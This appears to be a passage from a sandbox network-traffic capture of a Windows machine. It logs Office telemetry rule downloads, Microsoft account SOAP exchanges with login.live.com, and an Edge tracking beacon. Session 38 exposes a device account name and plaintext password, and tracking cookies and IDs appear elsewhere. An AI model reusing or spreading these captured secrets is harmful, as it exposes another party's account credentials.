2024-11-11 18:52:21 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ec 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: cd0babfe-b01e-0002-56d5-331b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185221Z-174f7845968nxc96hC1EWRspw80000000530000000009t99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 4e338842-401e-0016-31d5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185221Z-174f7845968px8v7hC1EWR08ng00000005k000000000fee8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:21 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 2f59f176-901e-002a-79d5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185221Z-174f7845968jrjrxhC1EWRmmrs00000005b000000000uw3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 31c5dc94-101e-008d-18d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185221Z-174f7845968t42glhC1EWRa36w000000054g000000003s51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49797	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:52:21 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:52:22 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:51:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 97b674fc-6bed-4d8c-b069-eaa5a5ce9656 PPServer: PPV: 30 H: BL02EPF0001D796 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:21 GMT Connection: close Content-Length: 1276
2024-11-11 18:52:22 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49804	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-11 18:52:21 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 67 67 68 66 74 61 7a 62 76 73 70 64 6f 6f 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 74 53 3b 2f 68 56 65 2c 65 2c 4f 42 58 34 62 49 28 4a 6a 41 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02gghftazbvspdoo</Membername><Password>tS;/hVe,e,OBX4bI(JjA</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-11 18:52:27 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 11 Nov 2024 18:51:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: bf3653de-236d-4fbf-a435-8f169c762f55 PPServer: PPV: 30 H: PH1PEPF00018BC8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:26 GMT Connection: close Content-Length: 17166
2024-11-11 18:52:27 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 36 39 46 32 46 31 34 34 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 66 65 38 61 30 31 33 32 2d 65 34 31 66 2d 34 33 62 30 2d 39 64 30 64 2d 36 64 61 39 35 63 34 30 61 36 36 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018401069F2F144</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="fe8a0132-e41f-43b0-9d0d-6da95c40a667" LicenseID="3252b20c-d425-4711
2024-11-11 18:52:27 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49770	18.65.39.28	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:22 UTC	925	OUT	GET /b?rn=1731351140832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=11F7061775776D430B031323746E6C70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:22 UTC	954	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 11 Nov 2024 18:52:22 GMT Location: /b2?rn=1731351140832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=11F7061775776D430B031323746E6C70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=137876f61be90b8575f890d1731351142; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=137876f61be90b8575f890d1731351142; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 18c617ef1621da46798c2b8cbc1c808c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P1 X-Amz-Cf-Id: ju7TCDh7fL7QQn0p29lCdJLCTm7Q3DdIzRHJn4GJEgUkvBRcphKBTg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:22 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8377dd30-c01e-00a1-3ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185222Z-174f7845968vwdr7hC1EWRsh3w00000005b0000000004kp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5d78e2d9-801e-00a0-72d5-332196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185222Z-174f7845968swgbqhC1EWRmnb400000005h0000000007dsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
